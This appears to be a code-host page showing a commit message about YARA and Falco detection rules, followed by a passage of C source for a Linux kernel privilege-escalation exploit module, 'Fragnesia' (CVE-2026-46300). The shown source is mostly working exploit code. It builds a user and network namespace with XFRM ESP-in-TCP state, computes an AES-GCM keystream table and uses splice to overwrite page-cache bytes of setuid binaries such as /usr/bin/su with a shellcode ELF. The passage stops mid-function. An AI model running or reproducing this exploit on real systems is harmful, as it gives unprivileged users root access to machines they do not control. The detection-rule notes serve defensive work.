8938a74d04
Closes the 'rules in the box' gap — the README has claimed YARA + Falco coverage but detect_yara and detect_falco were NULL on every module. This commit lights up both formats for the 6 highest-value modules (covering 10 of 31 registered modules via family-shared rules), and the existing operational playbook gains the format-specific deployment recipes + the cross-format correlation table. YARA rules (8 rules, 9 module-headers, 152 lines): - copy_fail_family — etc_passwd_uid_flip + etc_passwd_root_no_password (shared across copy_fail / copy_fail_gcm / dirty_frag_esp / dirty_frag_esp6 / dirty_frag_rxrpc) - dirty_pipe — passwd UID flip pattern, dirty-pipe-specific tag - dirtydecrypt — 28-byte ELF prefix match on tiny_elf[] + setuid+execve shellcode tail, detects the page-cache overlay landing - fragnesia — 28-byte ELF prefix on shell_elf[] + setuid+setgid+seteuid cascade, detects the 192-byte page-cache overlay - pwnkit — gconv-modules cache file format (small text file with module UTF-8// X// /tmp/...) - pack2theroot — malicious .deb (ar archive + SUID-bash postinst) + /tmp/.suid_bash artifact scan Falco rules (13 rules, 9 module-headers, 219 lines): - pwnkit — pkexec with empty argv + GCONV_PATH/CHARSET env from non-root - copy_fail_family — AF_ALG socket from non-root + NETLINK_XFRM from unprivileged userns + /etc/passwd modified by non-root - dirty_pipe — splice() of setuid/credential file by non-root - dirtydecrypt — AF_RXRPC socket + add_key(rxrpc) by non-root - fragnesia — TCP_ULP=espintcp from non-root + splice of setuid binary - pack2theroot — SUID bit set on /tmp/.suid_bash + dpkg invoked by packagekitd with /tmp/.pk-*.deb + 2x InstallFiles on same transaction Wiring: each module's .detect_yara and .detect_falco struct fields now point at the embedded string. The dispatcher dedups by pointer, so family-shared rules emit once across the 5 sub-modules. docs/DETECTION_PLAYBOOK.md augmented (302 -> 456 lines): - New 'YARA artifact scanning' subsection under SIEM integration with scheduled-scan cron pattern + per-rule trigger table - New 'Falco runtime detection' subsection with deploy + per-rule trigger table - New 'Per-module detection coverage' table — 4-format matrix - New 'Correlation across formats' section — multi-format incident signature per exploit (the 3-of-4 signal pattern) - New 'Worked example: catching DirtyDecrypt end-to-end' walkthrough from Falco page through yara confirmation, recovery, hunt + patch The existing operational lifecycle / SIEM patterns / FP tuning content is preserved unchanged — this commit only adds. Final stats: - auditd: 109 rule statements across 27 modules - sigma: 16 sigma rules across 19 modules - yara: 8 yara rules across 9 module headers (5 family + 4 distinct) - falco: 13 falco rules across 9 module headers The remaining 21 modules can gain YARA / Falco coverage incrementally by populating their detect_yara / detect_falco struct fields.
1219 lines
36 KiB
C
1219 lines
36 KiB
C
/*
|
|
* fragnesia_cve_2026_46300 — SKELETONKEY module
|
|
*
|
|
* Fragnesia ("Fragment Amnesia", CVE-2026-46300) — XFRM ESP-in-TCP LPE.
|
|
* skb_try_coalesce() fails to propagate the SKBFL_SHARED_FRAG marker
|
|
* when moving paged fragments between buffers, so the kernel loses
|
|
* track of the fact that a fragment is externally backed by page-cache
|
|
* pages spliced in from a file. The ESP-in-TCP receive path then
|
|
* decrypts in place, corrupting the page cache of a read-only file.
|
|
*
|
|
* The bug is a latent flaw exposed by the Dirty Frag remediation
|
|
* (commit f4c50a4034e6) — see ROADMAP.md / CVES.md.
|
|
*
|
|
* This module is a faithful port of the public V12 security PoC
|
|
* (xfrm_espintcp_pagecache_replace, github.com/v12-security/pocs/
|
|
* fragnesia, William Bowling / V12). The exploit primitive — the
|
|
* AES-GCM keystream-byte table, the per-byte IV selection, the
|
|
* userns+netns+XFRM ESP-in-TCP setup, the splice-driven sender /
|
|
* receiver trigger pair, the 192-byte ELF payload — is reproduced
|
|
* from that PoC; see NOTICE.md.
|
|
*
|
|
* Port adaptations vs. the standalone PoC:
|
|
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
|
|
* - the PoC's ANSI "smash frame" TUI (draw_smash_frame + scroll-region
|
|
* escape sequences) is DROPPED; progress is logged with skeletonkey's
|
|
* [*]/[+]/[-] prefixes, gated on ctx->json
|
|
* - argv-driven target/offset/payload replaced with a fixed setuid
|
|
* carrier + the embedded 192-byte shellcode ELF
|
|
* - exploit() runs the PoC body in a forked child so its exit()/die()
|
|
* paths cannot tear down the skeletonkey dispatcher
|
|
* - honours ctx->no_shell; adds an --active probe that fires the
|
|
* primitive against a disposable /tmp file
|
|
*
|
|
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
|
|
* vulnerable-kernel VM. Requires CONFIG_INET_ESPINTCP and unprivileged
|
|
* user-namespace creation. The fix commit is not yet pinned in this
|
|
* module, so detect() does not do a version-based verdict — see
|
|
* detect() and MODULE.md.
|
|
*/
|
|
|
|
#include "skeletonkey_modules.h"
|
|
#include "../../core/registry.h"
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdbool.h>
|
|
#include <unistd.h>
|
|
#include <sys/utsname.h>
|
|
|
|
#ifdef __linux__
|
|
|
|
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
|
|
* Makefile; do not redefine here (warning: redefined). */
|
|
#include "../../core/kernel_range.h"
|
|
#include "../../core/host.h"
|
|
#include <arpa/inet.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <limits.h>
|
|
#include <net/if.h>
|
|
#include <netinet/in.h>
|
|
#include <netinet/tcp.h>
|
|
#include <sched.h>
|
|
#include <signal.h>
|
|
#include <stdint.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/prctl.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/types.h>
|
|
#include <sys/wait.h>
|
|
|
|
#if __has_include(<linux/if_alg.h>)
|
|
#include <linux/if_alg.h>
|
|
#else
|
|
#include <linux/types.h>
|
|
struct sockaddr_alg {
|
|
__u16 salg_family;
|
|
__u8 salg_type[14];
|
|
__u32 salg_feat;
|
|
__u32 salg_mask;
|
|
__u8 salg_name[64];
|
|
};
|
|
#endif
|
|
#include <linux/netlink.h>
|
|
#include <linux/udp.h>
|
|
#include <linux/xfrm.h>
|
|
|
|
#ifndef TCP_ULP
|
|
#define TCP_ULP 31
|
|
#endif
|
|
#ifndef NETLINK_XFRM
|
|
#define NETLINK_XFRM 6
|
|
#endif
|
|
#ifndef TCP_ENCAP_ESPINTCP
|
|
#define TCP_ENCAP_ESPINTCP 7
|
|
#endif
|
|
#ifndef AF_ALG
|
|
#define AF_ALG 38
|
|
#endif
|
|
#ifndef SOL_ALG
|
|
#define SOL_ALG 279
|
|
#endif
|
|
#ifndef ALG_SET_KEY
|
|
#define ALG_SET_KEY 1
|
|
#endif
|
|
#ifndef ALG_SET_OP
|
|
#define ALG_SET_OP 3
|
|
#endif
|
|
#ifndef ALG_OP_ENCRYPT
|
|
#define ALG_OP_ENCRYPT 1
|
|
#endif
|
|
#ifndef NLA_ALIGNTO
|
|
#define NLA_ALIGNTO 4
|
|
#endif
|
|
#ifndef NLA_ALIGN
|
|
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
|
|
#endif
|
|
#ifndef NLA_HDRLEN
|
|
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
|
|
#endif
|
|
|
|
#define FRAG_LEN 4096
|
|
#define ESP_GCM_ICV_LEN 16
|
|
#define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN)
|
|
#define TCP_PORT 5556
|
|
#define PAYLOAD_LEN 192
|
|
|
|
#define RECEIVER_PRE_ULP_US 30000
|
|
#define SENDER_PRE_SPLICE_US 1000
|
|
#define RECEIVER_POST_ULP_US 30000
|
|
|
|
/* fg_verbose gates step/status chatter; errors always print. */
|
|
static int fg_verbose = 1;
|
|
#define LOG(fmt, ...) do { if (fg_verbose) \
|
|
fprintf(stderr, "[*] fragnesia: " fmt "\n", ##__VA_ARGS__); } while (0)
|
|
#define ERR(fmt, ...) fprintf(stderr, "[-] fragnesia: " fmt "\n", ##__VA_ARGS__)
|
|
|
|
static const char *const fg_targets[] = {
|
|
"/usr/bin/su", "/bin/su", "/usr/bin/mount",
|
|
"/usr/bin/passwd", "/usr/bin/chsh", NULL
|
|
};
|
|
|
|
/* --- exploit state (faithful to the V12 PoC) --- */
|
|
|
|
static const unsigned char xfrm_aead_key[20] = {
|
|
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
|
|
0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
|
|
0x01, 0x02, 0x03, 0x04
|
|
};
|
|
|
|
static unsigned char active_esp_gcm_iv[8] = {
|
|
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
|
|
};
|
|
static uint32_t active_esp_seq = 1;
|
|
static const char *target_file;
|
|
static char target_file_buf[PATH_MAX];
|
|
static loff_t target_splice_off;
|
|
|
|
static uint16_t stream0_nonce[256];
|
|
static bool stream0_have[256];
|
|
|
|
static void die(const char *what)
|
|
{
|
|
fprintf(stderr, "[-] fragnesia: %s: %s\n", what, strerror(errno));
|
|
_exit(2);
|
|
}
|
|
|
|
static void gate_fail(const char *what)
|
|
{
|
|
fprintf(stderr, "[-] fragnesia: namespace/XFRM gate closed: %s "
|
|
"errno=%d (%s)\n", what, errno, strerror(errno));
|
|
_exit(4);
|
|
}
|
|
|
|
static void store_be32(unsigned char *p, uint32_t v)
|
|
{
|
|
p[0] = (unsigned char)(v >> 24);
|
|
p[1] = (unsigned char)(v >> 16);
|
|
p[2] = (unsigned char)(v >> 8);
|
|
p[3] = (unsigned char)v;
|
|
}
|
|
|
|
/* --- AES-GCM keystream-byte table via AF_ALG ecb(aes) --- */
|
|
|
|
static int open_afalg_aes_ecb(void)
|
|
{
|
|
struct sockaddr_alg sa = { .salg_family = AF_ALG };
|
|
int fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0);
|
|
if (fd < 0)
|
|
die("socket(AF_ALG)");
|
|
strcpy((char *)sa.salg_type, "skcipher");
|
|
strcpy((char *)sa.salg_name, "ecb(aes)");
|
|
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
|
|
die("bind AF_ALG ecb(aes)");
|
|
if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0)
|
|
die("setsockopt AF_ALG key");
|
|
return fd;
|
|
}
|
|
|
|
static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16],
|
|
unsigned char out[16])
|
|
{
|
|
char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {0};
|
|
struct iovec iov = { .iov_base = (void *)in, .iov_len = 16 };
|
|
struct msghdr msg = {
|
|
.msg_iov = &iov, .msg_iovlen = 1,
|
|
.msg_control = cbuf, .msg_controllen = sizeof(cbuf),
|
|
};
|
|
struct cmsghdr *cmsg;
|
|
uint32_t op = ALG_OP_ENCRYPT;
|
|
int op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC);
|
|
if (op_fd < 0)
|
|
die("accept AF_ALG");
|
|
cmsg = CMSG_FIRSTHDR(&msg);
|
|
cmsg->cmsg_level = SOL_ALG;
|
|
cmsg->cmsg_type = ALG_SET_OP;
|
|
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
|
|
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
|
|
if (sendmsg(op_fd, &msg, 0) != 16)
|
|
die("sendmsg AF_ALG block");
|
|
if (read(op_fd, out, 16) != 16)
|
|
die("read AF_ALG block");
|
|
close(op_fd);
|
|
}
|
|
|
|
static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8])
|
|
{
|
|
unsigned char counter_block[16], stream[16];
|
|
memcpy(counter_block, &xfrm_aead_key[16], 4);
|
|
memcpy(counter_block + 4, iv, 8);
|
|
store_be32(counter_block + 12, 2);
|
|
afalg_aes_encrypt_block(alg_fd, counter_block, stream);
|
|
return stream[0];
|
|
}
|
|
|
|
static void build_stream0_table(void)
|
|
{
|
|
unsigned char iv[8] = { 0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc };
|
|
unsigned int count = 0, nonce;
|
|
int alg_fd = open_afalg_aes_ecb();
|
|
for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
|
|
unsigned char b;
|
|
store_be32(iv + 4, nonce);
|
|
b = aes_gcm_stream0_byte(alg_fd, iv);
|
|
if (stream0_have[b])
|
|
continue;
|
|
stream0_have[b] = true;
|
|
stream0_nonce[b] = (uint16_t)nonce;
|
|
count++;
|
|
}
|
|
close(alg_fd);
|
|
if (count != 256) {
|
|
ERR("failed to build complete stream-byte table: %u/256", count);
|
|
_exit(2);
|
|
}
|
|
LOG("stream0 table built (256 entries)");
|
|
}
|
|
|
|
static void choose_iv_for_stream0(unsigned char need_stream)
|
|
{
|
|
uint16_t nonce = stream0_nonce[need_stream];
|
|
memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv));
|
|
store_be32(active_esp_gcm_iv + 4, nonce);
|
|
}
|
|
|
|
static unsigned char read_byte_at(const char *path, uint64_t off)
|
|
{
|
|
unsigned char b;
|
|
int fd = open(path, O_RDONLY | O_CLOEXEC);
|
|
if (fd < 0)
|
|
die("open read byte");
|
|
ssize_t ret = pread(fd, &b, 1, (off_t)off);
|
|
if (ret < 0)
|
|
die("pread byte");
|
|
if (ret != 1) {
|
|
ERR("short pread at offset=%llu", (unsigned long long)off);
|
|
_exit(2);
|
|
}
|
|
close(fd);
|
|
return b;
|
|
}
|
|
|
|
static uint64_t use_existing_target(const char *path)
|
|
{
|
|
struct stat lst, st;
|
|
if (lstat(path, &lst) < 0)
|
|
die("lstat target");
|
|
if (!S_ISREG(lst.st_mode)) {
|
|
ERR("target is not a regular file");
|
|
_exit(2);
|
|
}
|
|
if (stat(path, &st) < 0)
|
|
die("stat target");
|
|
if (st.st_size < FRAG_LEN) {
|
|
ERR("target too small: size=%lld need>=%d",
|
|
(long long)st.st_size, FRAG_LEN);
|
|
_exit(2);
|
|
}
|
|
if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >=
|
|
(int)sizeof(target_file_buf)) {
|
|
ERR("target path too long");
|
|
_exit(2);
|
|
}
|
|
target_file = target_file_buf;
|
|
return (uint64_t)st.st_size;
|
|
}
|
|
|
|
static void verify_write_denied(const char *label)
|
|
{
|
|
errno = 0;
|
|
int fd = open(target_file, O_WRONLY | O_CLOEXEC);
|
|
if (fd >= 0) {
|
|
close(fd);
|
|
ERR("permission boundary check failed: %s write-open succeeded "
|
|
"(target is writable — no exploit needed)", label);
|
|
_exit(4);
|
|
}
|
|
LOG("permission boundary ok (%s: write denied, errno=%d)", label, errno);
|
|
}
|
|
|
|
/* --- userns / netns plumbing --- */
|
|
|
|
static int write_all_file_status(const char *path, const char *buf)
|
|
{
|
|
size_t len = strlen(buf);
|
|
int fd = open(path, O_WRONLY | O_CLOEXEC);
|
|
if (fd < 0)
|
|
return -1;
|
|
if (write(fd, buf, len) != (ssize_t)len) {
|
|
int e = errno;
|
|
close(fd);
|
|
errno = e;
|
|
return -1;
|
|
}
|
|
close(fd);
|
|
return 0;
|
|
}
|
|
|
|
static void sync_write_byte(int fd)
|
|
{
|
|
char c = 'M';
|
|
if (write(fd, &c, 1) != 1)
|
|
die("sync write");
|
|
close(fd);
|
|
}
|
|
|
|
static void sync_read_byte(int fd)
|
|
{
|
|
char c;
|
|
if (read(fd, &c, 1) != 1)
|
|
die("sync read");
|
|
close(fd);
|
|
}
|
|
|
|
static void parent_map_write_or_exit(pid_t child, const char *name,
|
|
const char *data)
|
|
{
|
|
char path[128];
|
|
snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name);
|
|
if (write_all_file_status(path, data) < 0) {
|
|
ERR("namespace gate closed: %s errno=%d (%s)",
|
|
path, errno, strerror(errno));
|
|
kill(child, SIGKILL);
|
|
waitpid(child, NULL, 0);
|
|
_exit(4);
|
|
}
|
|
}
|
|
|
|
static void enter_mapped_userns(void)
|
|
{
|
|
uid_t outer_uid = getuid();
|
|
gid_t outer_gid = getgid();
|
|
int ready_pipe[2], mapped_pipe[2], status;
|
|
char map[128];
|
|
pid_t child;
|
|
|
|
if (pipe(ready_pipe) < 0)
|
|
die("pipe ready");
|
|
if (pipe(mapped_pipe) < 0)
|
|
die("pipe mapped");
|
|
|
|
child = fork();
|
|
if (child < 0)
|
|
die("fork userns mapper");
|
|
|
|
if (child > 0) {
|
|
close(ready_pipe[1]);
|
|
close(mapped_pipe[0]);
|
|
sync_read_byte(ready_pipe[0]);
|
|
snprintf(map, sizeof(map), "0 %u 1\n", outer_uid);
|
|
parent_map_write_or_exit(child, "uid_map", map);
|
|
parent_map_write_or_exit(child, "setgroups", "deny\n");
|
|
snprintf(map, sizeof(map), "0 %u 1\n", outer_gid);
|
|
parent_map_write_or_exit(child, "gid_map", map);
|
|
sync_write_byte(mapped_pipe[1]);
|
|
if (waitpid(child, &status, 0) < 0)
|
|
die("wait userns child");
|
|
if (WIFEXITED(status))
|
|
_exit(WEXITSTATUS(status));
|
|
if (WIFSIGNALED(status)) {
|
|
ERR("userns child killed by signal %d", WTERMSIG(status));
|
|
_exit(2);
|
|
}
|
|
_exit(2);
|
|
}
|
|
|
|
close(ready_pipe[0]);
|
|
close(mapped_pipe[1]);
|
|
if (unshare(CLONE_NEWUSER) < 0)
|
|
gate_fail("unshare(CLONE_NEWUSER)");
|
|
sync_write_byte(ready_pipe[1]);
|
|
sync_read_byte(mapped_pipe[0]);
|
|
if (setresgid(0, 0, 0) < 0)
|
|
gate_fail("setresgid 0 in userns");
|
|
if (setresuid(0, 0, 0) < 0)
|
|
gate_fail("setresuid 0 in userns");
|
|
LOG("userns: mapped to root (outer uid=%u gid=%u)", outer_uid, outer_gid);
|
|
}
|
|
|
|
static void bring_loopback_up(void)
|
|
{
|
|
struct ifreq ifr;
|
|
int fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
|
|
if (fd < 0)
|
|
gate_fail("socket(AF_INET)");
|
|
memset(&ifr, 0, sizeof(ifr));
|
|
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
|
|
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
|
|
gate_fail("SIOCGIFFLAGS lo");
|
|
ifr.ifr_flags |= IFF_UP;
|
|
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
|
|
gate_fail("SIOCSIFFLAGS lo up");
|
|
close(fd);
|
|
}
|
|
|
|
static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen,
|
|
unsigned short type, const void *data, size_t len)
|
|
{
|
|
size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
|
|
struct nlattr *nla;
|
|
if (off + NLA_HDRLEN + len > maxlen) {
|
|
ERR("netlink message too small");
|
|
_exit(2);
|
|
}
|
|
nla = (struct nlattr *)((char *)nlh + off);
|
|
nla->nla_type = type;
|
|
nla->nla_len = NLA_HDRLEN + len;
|
|
memcpy((char *)nla + NLA_HDRLEN, data, len);
|
|
nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len);
|
|
}
|
|
|
|
static int nl_ack_errno(char *buf, ssize_t len)
|
|
{
|
|
struct nlmsghdr *nlh;
|
|
struct nlmsgerr *err;
|
|
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
|
|
nlh = NLMSG_NEXT(nlh, len)) {
|
|
if (nlh->nlmsg_type != NLMSG_ERROR)
|
|
continue;
|
|
err = (struct nlmsgerr *)NLMSG_DATA(nlh);
|
|
if (err->error == 0)
|
|
return 0;
|
|
errno = -err->error;
|
|
return -1;
|
|
}
|
|
errno = EPROTO;
|
|
return -1;
|
|
}
|
|
|
|
static void add_xfrm_espintcp_state(void)
|
|
{
|
|
char reqbuf[4096], resp[4096];
|
|
char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)];
|
|
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
|
|
struct xfrm_usersa_info *xs;
|
|
struct xfrm_algo_aead *aead;
|
|
struct xfrm_encap_tmpl encap;
|
|
struct nlmsghdr *nlh;
|
|
ssize_t ret;
|
|
int fd;
|
|
|
|
memset(reqbuf, 0, sizeof(reqbuf));
|
|
nlh = (struct nlmsghdr *)reqbuf;
|
|
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs));
|
|
nlh->nlmsg_type = XFRM_MSG_NEWSA;
|
|
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
|
|
nlh->nlmsg_seq = 1;
|
|
|
|
xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
|
|
if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1)
|
|
die("inet_pton saddr");
|
|
if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1)
|
|
die("inet_pton daddr");
|
|
xs->id.spi = htonl(0x100);
|
|
xs->id.proto = IPPROTO_ESP;
|
|
xs->family = AF_INET6;
|
|
xs->mode = XFRM_MODE_TRANSPORT;
|
|
xs->reqid = 1;
|
|
xs->lft.soft_byte_limit = XFRM_INF;
|
|
xs->lft.hard_byte_limit = XFRM_INF;
|
|
xs->lft.soft_packet_limit = XFRM_INF;
|
|
xs->lft.hard_packet_limit = XFRM_INF;
|
|
|
|
memset(aeadbuf, 0, sizeof(aeadbuf));
|
|
aead = (struct xfrm_algo_aead *)aeadbuf;
|
|
snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))");
|
|
aead->alg_key_len = sizeof(xfrm_aead_key) * 8;
|
|
aead->alg_icv_len = 128;
|
|
memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key));
|
|
add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf));
|
|
|
|
memset(&encap, 0, sizeof(encap));
|
|
encap.encap_type = TCP_ENCAP_ESPINTCP;
|
|
encap.encap_sport = htons(TCP_PORT);
|
|
encap.encap_dport = htons(TCP_PORT);
|
|
add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap));
|
|
|
|
fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM);
|
|
if (fd < 0)
|
|
gate_fail("socket(NETLINK_XFRM)");
|
|
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
|
|
gate_fail("bind(NETLINK_XFRM)");
|
|
memset(&sa, 0, sizeof(sa));
|
|
sa.nl_family = AF_NETLINK;
|
|
ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa));
|
|
if (ret < 0)
|
|
gate_fail("sendto XFRM_MSG_NEWSA");
|
|
if (ret != (ssize_t)nlh->nlmsg_len) {
|
|
errno = EIO;
|
|
gate_fail("short sendto XFRM_MSG_NEWSA");
|
|
}
|
|
ret = recv(fd, resp, sizeof(resp), 0);
|
|
if (ret < 0)
|
|
gate_fail("recv XFRM ack");
|
|
if (nl_ack_errno(resp, ret) < 0)
|
|
gate_fail("XFRM_MSG_NEWSA ack");
|
|
close(fd);
|
|
}
|
|
|
|
static void setup_user_netns_xfrm(void)
|
|
{
|
|
if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
|
|
die("prctl PR_SET_DUMPABLE");
|
|
enter_mapped_userns();
|
|
if (unshare(CLONE_NEWNET) < 0)
|
|
gate_fail("unshare(CLONE_NEWNET)");
|
|
bring_loopback_up();
|
|
add_xfrm_espintcp_state();
|
|
LOG("namespace + XFRM ESP-in-TCP state ready");
|
|
}
|
|
|
|
/* --- splice-driven trigger pair --- */
|
|
|
|
static void write_ready(int fd)
|
|
{
|
|
char c = 'R';
|
|
if (write(fd, &c, 1) != 1)
|
|
die("ready write");
|
|
close(fd);
|
|
}
|
|
|
|
static void wait_ready(int fd)
|
|
{
|
|
char c;
|
|
if (read(fd, &c, 1) != 1)
|
|
die("ready read");
|
|
close(fd);
|
|
}
|
|
|
|
static void receiver(int ready_write_fd)
|
|
{
|
|
struct sockaddr_in6 addr = {
|
|
.sin6_family = AF_INET6,
|
|
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
|
|
.sin6_port = htons(TCP_PORT),
|
|
};
|
|
char ulp[] = "espintcp";
|
|
int fd, cfd, one = 1;
|
|
|
|
fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
|
|
if (fd < 0)
|
|
die("receiver socket");
|
|
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
|
|
die("receiver reuseaddr");
|
|
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
|
|
die("receiver bind");
|
|
if (listen(fd, 1) < 0)
|
|
die("receiver listen");
|
|
|
|
write_ready(ready_write_fd);
|
|
|
|
cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
|
|
if (cfd < 0)
|
|
die("receiver accept");
|
|
|
|
usleep(RECEIVER_PRE_ULP_US);
|
|
if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0)
|
|
die("receiver TCP_ULP espintcp");
|
|
usleep(RECEIVER_POST_ULP_US);
|
|
close(cfd);
|
|
close(fd);
|
|
_exit(0);
|
|
}
|
|
|
|
static void sender(int ready_read_fd)
|
|
{
|
|
struct sockaddr_in6 dst = {
|
|
.sin6_family = AF_INET6,
|
|
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
|
|
.sin6_port = htons(TCP_PORT),
|
|
};
|
|
struct {
|
|
__be16 len;
|
|
unsigned char esp[16];
|
|
} prefix;
|
|
loff_t off;
|
|
int fd, sock, p[2], one = 1;
|
|
ssize_t ret, sent;
|
|
|
|
wait_ready(ready_read_fd);
|
|
|
|
memset(&prefix, 0xcc, sizeof(prefix));
|
|
prefix.len = htons(sizeof(prefix) + FRAG_LEN);
|
|
prefix.esp[0] = 0x00;
|
|
prefix.esp[1] = 0x00;
|
|
prefix.esp[2] = 0x01;
|
|
prefix.esp[3] = 0x00;
|
|
store_be32(&prefix.esp[4], active_esp_seq);
|
|
memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv));
|
|
|
|
fd = open(target_file, O_RDONLY | O_CLOEXEC);
|
|
if (fd < 0)
|
|
die("sender open target");
|
|
sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
|
|
if (sock < 0)
|
|
die("sender socket");
|
|
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
|
|
die("sender TCP_NODELAY");
|
|
if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0)
|
|
die("sender connect");
|
|
|
|
sent = send(sock, &prefix, sizeof(prefix), 0);
|
|
if (sent != (ssize_t)sizeof(prefix))
|
|
die("sender send prefix");
|
|
|
|
usleep(SENDER_PRE_SPLICE_US);
|
|
|
|
if (pipe(p) < 0)
|
|
die("sender pipe");
|
|
off = target_splice_off;
|
|
ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0);
|
|
if (ret != FRAG_LEN)
|
|
die("sender splice file to pipe");
|
|
ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0);
|
|
if (ret < 0)
|
|
die("sender splice pipe to tcp");
|
|
|
|
close(p[0]);
|
|
close(p[1]);
|
|
close(sock);
|
|
close(fd);
|
|
_exit(ret == FRAG_LEN ? 0 : 3);
|
|
}
|
|
|
|
static int run_trigger_pair(void)
|
|
{
|
|
int pipefd[2], st_rx, st_tx;
|
|
pid_t rx, tx;
|
|
|
|
if (pipe(pipefd) < 0)
|
|
die("pipe");
|
|
|
|
rx = fork();
|
|
if (rx < 0)
|
|
die("fork receiver");
|
|
if (rx == 0) {
|
|
close(pipefd[0]);
|
|
receiver(pipefd[1]);
|
|
}
|
|
|
|
tx = fork();
|
|
if (tx < 0)
|
|
die("fork sender");
|
|
if (tx == 0) {
|
|
close(pipefd[1]);
|
|
sender(pipefd[0]);
|
|
}
|
|
|
|
close(pipefd[0]);
|
|
close(pipefd[1]);
|
|
if (waitpid(tx, &st_tx, 0) < 0)
|
|
die("wait sender");
|
|
if (waitpid(rx, &st_rx, 0) < 0)
|
|
die("wait receiver");
|
|
|
|
if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 ||
|
|
!WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0)
|
|
return -1;
|
|
return 0;
|
|
}
|
|
|
|
static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len)
|
|
{
|
|
uint64_t n = (uint64_t)byte_len;
|
|
if (n == 0) {
|
|
ERR("byte range is empty");
|
|
_exit(2);
|
|
}
|
|
if (n - 1 > UINT64_MAX - byte_off) {
|
|
ERR("byte range overflows uint64_t");
|
|
_exit(2);
|
|
}
|
|
return byte_off + n - 1;
|
|
}
|
|
|
|
/*
|
|
* Replace [byte_off, byte_off+desired_len) in the page cache of
|
|
* target_file with `desired`, one byte per ESP-in-TCP trigger.
|
|
* Returns: 1 full payload verified, 0 fixed (byte never mutated),
|
|
* 2 setup/range error, 3 bug present but payload not fully placed.
|
|
*/
|
|
static int replace_existing_bytes_after(uint64_t byte_off,
|
|
const unsigned char *desired,
|
|
size_t desired_len, uint64_t file_size)
|
|
{
|
|
uint64_t last = checked_byte_range_last(byte_off, desired_len);
|
|
size_t idx, changed = 0, skipped = 0;
|
|
|
|
if (last >= file_size || last > file_size - FRAG_LEN) {
|
|
ERR("byte range outside writable window: off=%llu len=%zu size=%llu",
|
|
(unsigned long long)byte_off, desired_len,
|
|
(unsigned long long)file_size);
|
|
return 2;
|
|
}
|
|
